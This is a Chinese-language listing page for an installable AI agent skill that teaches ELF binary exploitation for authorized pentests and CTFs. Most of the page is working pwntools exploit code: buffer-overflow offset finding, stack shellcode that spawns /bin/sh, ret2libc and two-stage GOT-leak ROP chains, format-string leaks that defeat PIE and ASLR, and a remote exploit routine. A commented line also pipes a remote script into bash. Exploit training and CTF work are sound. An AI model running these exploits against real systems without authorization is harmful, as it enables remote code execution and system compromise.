mcpField
P
performing-binary-exploitation-analysis

performing-binary-exploitation-analysis

github.com/mukul975安全35.2k73 次安装8 周前更新
代码仓库

关于 performing-binary-exploitation-analysis

面向授权安全测试和 CTF 的 ELF 二进制分析技能,涵盖防护机制检查、缓冲区溢出分析及 ROP 利用开发,并使用 checksec、ROPgadget 和 pwntools。

主要功能

  1. 01检查 ELF 安全防护机制
  2. 02定位缓冲区溢出偏移
  3. 03构建 Shellcode 和 ROP 载荷
  4. 04使用 GDB 调试利用过程
  5. 05测试 PIE 和 ASLR 处理

适用场景

  1. 01评估渗透测试中的二进制防护
  2. 02解决二进制利用 CTF 挑战
  3. 03在报告中展示漏洞影响
  4. 04验证缓冲区溢出补丁

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill performing-binary-exploitation-analysis

安装后在 Claude Code 中输入/performing-binary-exploitation-analysis确认已加载。

包含的文件

除 SKILL.md 外,安装时一起下载的参考资料和脚本。

LICENSE
references/
api-reference.md
scripts/
agent.py

详细介绍

执行二进制漏洞利用分析

仅用于经过授权的安全测试和 CTF 挑战。

使用 checksec、ROPgadget 和 pwntools 分析 ELF 二进制文件中的漏洞利用途径,用于开发缓冲区溢出和 ROP 链。

适用场景

  • 在经过授权的渗透测试中分析 ELF 二进制文件,以识别内存损坏漏洞
  • 在 CTF 比赛中解决二进制漏洞利用挑战
  • 评估编译器缓解措施(NX、ASLR、栈保护 canary、PIE、RELRO)对目标二进制文件的效果
  • 为漏洞报告开发概念验证漏洞利用程序,以展示影响
  • 培训安全工程师掌握漏洞利用开发技术,增强防御意识
  • 验证缓冲区溢出漏洞的安全补丁是否有效

请勿用于未经明确书面授权的系统。二进制漏洞利用技术可能导致系统不稳定,只能在受控环境中应用(实验室虚拟机、CTF 平台、具有范围界定文档的授权渗透测试)。

前置条件

  • 用于漏洞利用开发的 Linux 系统(推荐 Ubuntu/Debian)
  • Python 3.8+ 和 pwntools(pip install pwntools)
  • 配备 pwndbg 或 GEF 插件的 GDB,以增强调试能力
  • 用于查找 ROP 链 gadget 的 ROPgadget(pip install ROPgadget)
  • checksec(包含在 pwntools 中,或通过 apt install checksec 单独安装)
  • 用于测试而编译的目标易受攻击二进制文件(例如来自 pwnable.kr、ROP Emporium 或自定义测试二进制文件)
  • 对 x86/x86_64 调用约定和栈布局的基本了解

工作流

步骤 1:安装漏洞利用工具包
# Install pwntools and dependencies
pip install pwntools ROPgadget

# Install GDB with pwndbg plugin
git clone https://github.com/pwndbg/pwndbg
cd pwndbg && ./setup.sh

# Alternatively, install GEF (GDB Enhanced Features)
# bash -c "$(curl -fsSL https://gef.blah.cat/sh)"

# Install supporting tools
sudo apt install -y gdb nasm gcc-multilib libc6-dbg

# Verify installation
python3 -c "from pwn import *; print('pwntools version:', version)"
checksec --version
ROPgadget --version
步骤 2:使用 checksec 分析二进制文件的保护措施

编写漏洞利用程序之前,先列出编译进二进制文件的安全缓解措施:

from pwn import *

# Load the target binary
binary_path = "./vulnerable_server"
elf = ELF(binary_path)

# checksec output explains what mitigations are in place
print(f"Architecture: {elf.arch}")
print(f"Bits: {elf.bits}")
print(f"Endianness: {elf.endian}")
print()

# Key security properties
# RELRO: Full = GOT is read-only, Partial = GOT header read-only, No = writable GOT
# Stack Canary: Detects stack buffer overflows via random canary value
# NX (No-eXecute): Prevents executing code on the stack (DEP)
# PIE: Position Independent Executable, randomizes base address
# ASLR: OS-level address randomization (check /proc/sys/kernel/randomize_va_space)

# Also available via command line:
# checksec --file=./vulnerable_server
# Command-line checksec output example:
checksec --file=./vulnerable_server
# RELRO           STACK CANARY      NX            PIE
# Partial RELRO   No canary found   NX disabled   No PIE

# Check ASLR status on the system
cat /proc/sys/kernel/randomize_va_space
# 0 = disabled, 1 = conservative, 2 = full randomization
步骤 3:查找缓冲区溢出偏移量

准确确定覆盖返回地址所需的字节数:

from pwn import *

context.binary = ELF("./vulnerable_server")
context.log_level = "info"

# Method 1: Use cyclic pattern to find exact offset
# Generate a unique cyclic pattern
pattern_length = 200
pattern = cyclic(pattern_length)
print(f"Generated cyclic pattern of length {pattern_length}")

# Send the pattern to the binary
p = process("./vulnerable_server")
p.sendline(pattern)
p.wait()

# After the crash, read the value in RIP/EIP from core dump or GDB
# Then find the offset:
# For 64-bit: crashed_value = p.corefile.fault_addr
# Or manually from GDB: "info registers rip" after crash
crashed_rip = 0x6161616c  # Example value from crash
offset = cyclic_find(crashed_rip)
print(f"Offset to return address: {offset} bytes")

# Method 2: Use GDB with pwndbg to find offset interactively
# In GDB:
#   pwndbg> cyclic 200
#   pwndbg> run < <(python3 -c "from pwn import *; print(cyclic(200).decode())")
#   pwndbg> cyclic -l $rsp   (or cyclic -l <value in RIP>)
步骤 4:利用栈缓冲区溢出(禁用 NX)

禁用 NX 时,可直接在栈上注入并执行 shellcode:

from pwn import *

# Configuration
binary_path = "./vulnerable_server"
context.binary = ELF(binary_path)
context.arch = "amd64"  # or "i386" for 32-bit

OFFSET = 72  # Determined in Step 3

# Generate shellcode
# execve("/bin/sh", NULL, NULL) - spawn a shell
shellcode = asm(shellcraft.sh())
print(f"Shellcode length: {len(shellcode)} bytes")

# Build the exploit payload
# Layout: [NOP sled] [shellcode] [padding] [return address -> NOP sled]
nop_sled = asm("nop") * 32

# For a local exploit without ASLR, we can estimate the buffer address
# Run in GDB first to find the buffer address:
#   break *main+XX  (after read/gets call)
#   x/20x $rsp
buffer_addr = 0x7fffffffe000  # Example - get from GDB

padding_len = OFFSET - len(nop_sled) - len(shellcode)
payload = nop_sled + shellcode + b"A" * padding_len + p64(buffer_addr)

# Launch exploit
p = process(binary_path)
p.sendline(payload)
p.interactive()  # Interact with the spawned shell
步骤 5:构建 ROP 链(启用 NX)

当 NX 阻止执行栈上代码时,可串联现有代码片段 gadget(面向返回的编程,ROP):

# Find ROP gadgets in the binary
ROPgadget --binary ./vulnerable_server

# Find specific gadgets
ROPgadget --binary ./vulnerable_server --only "pop|ret"
ROPgadget --binary ./vulnerable_server --only "mov|ret"

# Search for gadgets to control registers for syscall
ROPgadget --binary ./vulnerable_server | grep "pop rdi"
ROPgadget --binary ./vulnerable_server | grep "pop rsi"
ROPgadget --binary ./vulnerable_server | grep "pop rdx"
ROPgadget --binary ./vulnerable_server | grep "syscall"

# Find gadgets in libc (for ret2libc attacks)
ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret" | head -20
from pwn import *

binary_path = "./vulnerable_server"
elf = ELF(binary_path)
context.binary = elf

OFFSET = 72

# Method 1: ret2libc - call system("/bin/sh") via libc
# When the binary is dynamically linked and we know libc version
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

# Start process to leak libc address
p = process(binary_path)

# If there is a format string or info leak, use it to find libc base
# Example: binary prints puts@GOT address
p.recvuntil(b"puts address: ")
puts_leak = int(p.recvline().strip(), 16)
libc.address = puts_leak - libc.symbols["puts"]
log.success(f"libc base: {hex(libc.address)}")

# Find a "pop rdi; ret" gadget for x86_64 calling convention
# First argument goes in RDI register
pop_rdi = elf.search(asm("pop rdi; ret")).__next__()
ret_gadget = elf.search(asm("ret")).__next__()  # Stack alignment

# Build the ROP chain: system("/bin/sh")
bin_sh_addr = next(libc.search(b"/bin/sh\x00"))
system_addr = libc.symbols["system"]

rop_chain = flat(
    b"A" * OFFSET,          # Padding to reach return address
    ret_gadget,              # Stack alignment (needed for movaps in system)
    pop_rdi,                 # pop rdi; ret - load /bin/sh address into RDI
    bin_sh_addr,             # Address of "/bin/sh" string in libc
    system_addr,             # Call system()
)

p.sendline(rop_chain)
p.interactive()
步骤 6:使用 pwntools ROP 辅助工具自动构建链
from pwn import *

binary_path = "./vulnerable_server"
elf = ELF(binary_path)
context.binary = elf

OFFSET = 72

# pwntools automatic ROP chain builder
rop = ROP(elf)

# If the binary has enough gadgets, pwntools can build chains automatically
# For execve("/bin/sh", 0, 0) syscall:
rop.call("puts", [elf.got["puts"]])  # Leak GOT entry
rop.call(elf.symbols["main"])        # Return to main for second stage

# Print the ROP chain for debugging
print(rop.dump())

# Build first-stage payload (leak libc)
stage1 = flat(
    b"A" * OFFSET,
    rop.chain()
)

p = process(binary_path)
p.sendline(stage1)

# Parse the leaked puts address
p.recvuntil(b"\n")  # Skip program output
leaked_puts = u64(p.recvline().strip().ljust(8, b"\x00"))
log.success(f"Leaked puts@GOT: {hex(leaked_puts)}")

# Calculate libc base
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc.address = leaked_puts - libc.symbols["puts"]
log.success(f"libc base: {hex(libc.address)}")

# Build second-stage ROP chain using libc gadgets
rop2 = ROP(libc)
rop2.call("execve", [next(libc.search(b"/bin/sh\x00")), 0, 0])

stage2 = flat(
    b"A" * OFFSET,
    rop2.chain()
)

p.sendline(stage2)
p.interactive()
步骤 7:使用 GDB 和 pwndbg 调试漏洞利用程序
from pwn import *

binary_path = "./vulnerable_server"
elf = ELF(binary_path)
context.binary = elf
context.terminal = ["tmux", "splitw", "-h"]  # or ["gnome-terminal", "--"]

# Launch binary under GDB with pwndbg
p = gdb.debug(binary_path, """
    # Set breakpoints at key locations
    break *main
    break *main+85

    # Continue to the vulnerable function
    continue
""")

# GDB commands useful during exploit development:
# pwndbg> vmmap              - Show memory mappings (find stack, heap, libc)
# pwndbg> checksec           - Show binary protections
# pwndbg> search -s "/bin/sh" - Find string in memory
# pwndbg> rop --grep "pop rdi" - Search for gadgets
# pwndbg> cyclic 200         - Generate cyclic pattern
# pwndbg> cyclic -l 0x616161 - Find offset from pattern value
# pwndbg> telescope $rsp 20  - Show stack contents
# pwndbg> x/20gx $rsp        - Examine stack as 64-bit values
# pwndbg> heap               - Analyze heap state
# pwndbg> got                 - Show GOT entries and resolved addresses
# pwndbg> plt                 - Show PLT entries

OFFSET = 72
payload = b"A" * OFFSET + p64(0xdeadbeef)
p.sendline(payload)
p.interactive()
步骤 8:通过信息泄露应对 PIE 和 ASLR
from pwn import *

binary_path = "./vulnerable_pie_binary"
elf = ELF(binary_path)
context.binary = elf

# When PIE is enabled, we need to leak a code address to defeat randomization
# Common leak techniques:
# 1. Format string vulnerability: %p to leak stack/code pointers
# 2. Partial overwrite: overwrite only lower bytes of a pointer
# 3. Uninitialized memory: read stack memory containing code pointers

p = process(binary_path)

# Example: Using a format string leak to defeat PIE
# If the binary has a printf(user_input) vulnerability:
p.sendline(b"%p.%p.%p.%p.%p.%p.%p.%p.%p.%p")
leak_output = p.recvline().strip().decode()
leaked_addrs = leak_output.split(".")

# Parse leaked addresses to find a code pointer
for i, addr in enumerate(leaked_addrs):
    try:
        val = int(addr, 16)
        # PIE binaries typically load at 0x55XXXXXXXXXX on 64-bit
        if 0x550000000000 <= val <= 0x560000000000:
            log.info(f"Offset {i}: {addr} (likely PIE code address)")
        # libc addresses typically at 0x7fXXXXXXXXXX
        elif 0x7f0000000000 <= val <= 0x800000000000:
            log.info(f"Offset {i}: {addr} (likely libc address)")
    except ValueError:
        continue

# Once we have a leaked PIE address, calculate the binary base
leaked_code_addr = int(leaked_addrs[5], 16)  # Example offset
elf.address = leaked_code_addr - elf.symbols["main"]  # Adjust for known offset
log.success(f"PIE base: {hex(elf.address)}")

# Now we can use absolute addresses in our ROP chain
rop = ROP(elf)
# ... build chain using elf.symbols which are now correctly rebased
步骤 9:利用远程目标
from pwn import *

# Configuration
REMOTE_HOST = "target.ctf.example.com"
REMOTE_PORT = 9001
binary_path = "./vulnerable_server"

elf = ELF(binary_path)
context.binary = elf

def exploit(target):
    """Run the full exploit chain against a target (local or remote)."""
    OFFSET = 72

    # Stage 1: Leak libc
    rop1 = ROP(elf)
    rop1.call("puts", [elf.got["puts"]])
    rop1.call(elf.symbols["main"])

    payload1 = flat(b"A" * OFFSET, rop1.chain())
    target.sendlineafter(b"Input: ", payload1)

    leaked = u64(target.recvline().strip().ljust(8, b"\x00"))
    log.success(f"Leaked puts: {hex(leaked)}")

    # Stage 2: ret2libc
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    libc.address = leaked - libc.symbols["puts"]

    rop2 = ROP(libc)
    rop2.call("execve", [next(libc.search(b"/bin/sh\x00")), 0, 0])

    payload2 = flat(b"A" * OFFSET, rop2.chain())
    target.sendlineafter(b"Input: ", payload2)

    target.interactive()

# Test locally first
log.info("Testing exploit locally...")
local = process(binary_path)
exploit(local)

# Then run against remote target
# log.info("Running exploit against remote target...")
# remote = remote(REMOTE_HOST, REMOTE_PORT)
# exploit(remote)

验证

  • 确认 checksec 能正确识别所有二进制文件缓解措施(NX、canary、PIE、RELRO),且结果与手动检查一致
  • 通过在 ret 指令处设置断点,并确认 RIP/EIP 包含预期的循环模式值,验证循环模式偏移量查找器给出的偏移量正确
  • 在禁用 NX 的受控环境中测试 shellcode 载荷,确认其可正确执行
  • 在 GDB 中逐条执行 gadget,验证最终系统调用/函数调用之前寄存器值设置正确,从而确认 ROP 链有效
  • 使用正确的 libc 版本,确认漏洞利用程序在本地(process())和远程目标(remote())上均可运行
  • 检查 GDB vmmap 输出与计算所得地址是否一致,以确认 PIE 绕过正确地重定位了所有地址
  • 重新启用缓解措施并测试漏洞利用程序能否正常失败(确认漏洞利用程序针对的是正确的弱点)
  • 对 ROPgadget 输出运行去重筛选,确认所有引用的 gadget 均存在于目标二进制文件中指定偏移处

评论

支持 Markdown